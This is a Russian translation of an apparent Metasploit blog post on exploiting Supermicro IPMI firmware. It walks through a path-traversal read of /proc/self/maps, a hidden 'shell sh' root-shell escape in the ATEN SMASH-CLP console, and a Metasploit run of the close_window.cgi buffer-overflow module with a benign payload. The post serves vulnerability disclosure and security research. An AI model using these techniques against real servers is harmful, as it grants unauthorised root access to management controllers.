Взлом встроенного контроллера Supermicro IPMI

Взлом встроенного контроллера Supermicro IPMI

@hdmoore опубликовал подробную информацию о некоторых уязвимостях в прошивке Supermicro IPMI. После информационного релиза в Metasploit было добавлено несколько модулей для проверки устройств Supermicro на наличие известных уязвимостей.

Автор: Juan Vazquez

@hdmoore опубликовал подробную информацию о некоторых уязвимостях в прошивке Supermicro IPMI. После информационного релиза в Metasploit было добавлено несколько модулей для проверки устройств Supermicro на наличие известных уязвимостей.

Модуль

Поставленная цель

smt_ipmi_static_cert_scanner

Данный модуль может быть использован для проверки устройств с помощью статического SSL сертификата, поставляемого со встроенным контролером Supermicro Onboard IPMI. (CVE-2013-3619)

smt_ipmi_url_redirect_traversal

Данный модуль может быть использован для просмотра каталогов через компонент url_redirect.cgi и скачивания файлов с правами root. Для этого требуется авторизованный доступ к веб интерфейсу.

smt_ipmi_cgi_scanner

Данный модуль может быть использован для удаленной проверки устройства на наличие двух уязвимостей удаленного переполнения буфера, которые могут содержать компоненты login.cgi (CVE-2013-3621) and close_window.cgi (CVE-2013-3623).

Всего лишь спустя день после выхода данного информационного релиза мы были готовы закончить функциональный эксплоит для одного из переполнений, не требующих авторизации (CVE-2013-3623). Этот эксплоит позволял получить права root в устройстве через компонент веб интерфейса close_window.cgi.

Процесс создания этого эксплоита был довольно интересным, так как в нашем распоряжении были только ограниченный удаленный доступ к реальному устройству Supermicro (прошивка SMT_X9_214) и, конечно же, его эмулятор. Несмотря на то, что эмулятор является отличным ресурсом для поиска уязвимостей и подтверждения доказательства вашей концепции, он не гарантирует работоспособность эксплоита на реальном оборудовании. В данном блоге мы хотели бы поделиться с вами некоторыми интересными трюками, которые мы использовали для создания эксплоита. Надеюсь, вам понравится!

Обзор нам в помощь

Первым условием успешного применения экплоита в реальной ситуации является наличие информации об используемых методах защиты памяти (NX, ASLR). Для получения этой информации была использована уязвимость url_redirect.cgi, позволяющая просматривать каталоги. Благодаря тому, что данная уязвимость позволяет получить доступ к любому файлу с правами root даже при условии ограниченного доступа, она отлично подошла для того, чтобы собрать полезную информацию о среде. Основная сложность заключалась в том, чтобы получить доступ к содержимому "/proc/self/maps". Даже когда maps будут в url_redirect.cgi, будет довольно неплохо, если мы сможем определить механизмы защиты памяти, применяемые к cgi процессам. И когда у нас возникли опасения по поводу ASLR для главных исполняемых файлов и библиотек, нам очень помог опыт @hdmoore’а с предыдущим эксплоитом UPnP, за что хочется его отдельно поблагодарить. В итоге кроме всего прочего мы смогли определить исполняемые файлы для стека и кучи:

-00033000 rwxp 00012000 00:00 0 [heap]
bee78000-bee8d000 rwxp bee78000 00:00 0 [stack]

Данная информация была важна в процессе создания эксплоита для переполнения close_window.cgi, ограничения которого на пробелы и неиспользуемые символы могли сделать атаку возврата в библиотеку очень непростой в реализации.

Детали имеют значение

С помощью вышеизложенной информации и qemu была разработана первая версия эксплоита, недостаточно точная для применения в реальных условиях. Безусловно, при взломе программы мелкие детали и состояние взламываемой среды играют очень большую роль, и уязвимости просмотра каталогов (даже при просмотре из-под root’а) было недостаточно для подключения к сессии. Для того чтобы закончить работу над эксплоитом в разумный срок, необходимо было собрать отладочную информацию о процессе с реального устройства.

Имея ограниченный shell-доступ к такому устройству Supermicro, у нас появилась возможность попытаться понять, что же необходимо сделать:

  1. ATEN SMASH-CLP System Management Shell, version 1.04
  2. Copyright (c) 2008-2009 by ATEN International CO., Ltd.
  3. All Rights Reserved

  4.  -> help
  5.  /

  6.  The managed element is the root

  7.  Verbs :
  8.  cd
  9.  show
  10.  help
  11.  version
  12.  exit

  13. ->

Доступ по SSH осуществляется с помощью SMASH System Management Shell, который, прямо скажем, является далеко не самым полезным средством сбора отладочной информации при анализе среды или взломе. Даже при условии минимальной пользы от командной строки и спецификации SMASH (от DMTF), у нас был доступ к прошивке и файлам ATEN SMASH. К счастью, при их изучении мы нашли кое-что интересное. В то время как следующий код ответственен за обработку команд, переданных через командную строку, близко к разбору символов «|» и «;» можно найти кое-что интересно в процедуре разбора следующего слова:

Особенный интерес вызывает зарезервированное слово «shell». Что ж, проведем небольшой тест:

1.
-> shell test

2. Change shell to test

3. changing shell fails.: No such file or directory

4.

5. ->

Интересно! Выглядит так, будто shell оболочка существует. Немного статического анализа выявило, что оболочка не только существует, но и позволяет нам выполнить случайную команду.):

Время для теста:

  1. -> shell ls
  2. Change shell to ls
  3. SFCB bin dropbear lib lost+found proc sys usr web
  4. SMASH dev etc linuxrc nv sbin tmp var wsman

  5.  ->

Выглядит неплохо, попробуем еще кое-что

  1.  -> shell sh
  2. Change shell to sh
  3. # uname -a
  4. Linux (none) 2.6.17.WB_WPCM450.1.3 #5 Wed Apr 24 10:53:55 PDT 2013 armv5tejl unknown
  5.  #

И да откроется пред нами root shell! (в версии прошивки SMT_X9_315 доработаны escape символы "shell sh"). Для завершения нашего эксплоита с помощью полученного root shell’а мы создали генерацию дампов ядра в папку /tmp, имеющую достаточно свободного места смонтированную с правами rw.

  1. # mount
  2. rootfs on / type rootfs (rw)
  3. /dev/root on / type cramfs (ro)
  4. proc on /proc type proc (rw)
  5. none on /sys type sysfs (rw)
  6. none on /tmp type tmpfs (rw)
  7. devpts on /dev/pts type devpts (rw)
  8. /dev/mtdblock1 on /nv type jffs2 (rw)
  9. none on /tmp type tmpfs (rw)
  10. /dev/mtdblock4 on /web type cramfs (ro)
  11.  # df -h
  12. Filesystem Size Used Available Use% Mounted on
  13. rootfs 20.0M 20.0M 0 100% /
  14. /dev/root 20.0M 20.0M 0 100% /
  15. none 36.0M 1.1M 34.9M 3% /tmp
  16. /dev/mtdblock1 1.3M 320.0k 960.0k 25% /nv
  17. none 36.0M 1.1M 34.9M 3% /tmp
  18. /dev/mtdblock4 3.9M 3.9M 0 100% /web

Для того, чтобы получить дампы ядра мы использовали openssl s_server и законный сертификат веб сервера для создания поддельного HTTP, разрешающего внешние подключения к папке /tmp. После анализа нескольких дампов мы смогли сделать эксплоит рабочим на реальных устройствах.

msf exploit(smt_ipmi_close_window_bof) > show options
Module options (exploit/linux/http/smt_ipmi_close_window_bof):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST yes The target address
RPORT yes The target port
VHOST no HTTP server virtual host

Payload options (cmd/unix/generic):

Name Current Setting Required Description
---- --------------- -------- -----------
CMD echo metasploit > /tmp/metasploit.txt yes The command string to execute

Exploit target:

Id Name
-- ----
0 Supermicro Onboard IPMI (X9SCL/X9SCM) with firmware SMT_X9_214

msf exploit(smt_ipmi_close_window_bof) > rexploit
[*] Reloading module...

*] - Sending exploit...
[*] Exploit completed, but no session was created.

Проверяем результат его работы на реальном устройстве Supermicro:

  1. ATEN SMASH-CLP System Management Shell, version 1.04
  2. Copyright (c) 2008-2009 by ATEN International CO., Ltd.
  3. All Rights Reserved


  4. -> shell sh
  5. Change shell to sh
  6.  # cd /tmp
  7.  # pwd
  8.  /tmp
  9.  # cat metasploit.txt
  10.  metasploit

Определенно, если вы используете материнскую плату Supermicro, вы должны прочитать информацию об уязвимостях и обновлениях в статье уязвимости прошивки Supermicro IPMI и в случае необходимости применить обновления, рекомендуемые вендором.

Хотите сами попробовать то, что я описал в статье? Скачайте бесплатно Metasploit прямо сейчас или обновите свою версию до последней доступной, и если вам есть что сказать или спросить, не стесняйтесь связаться с нами.

Домашний Wi-Fi – ваша крепость или картонный домик?

Узнайте, как построить неприступную стену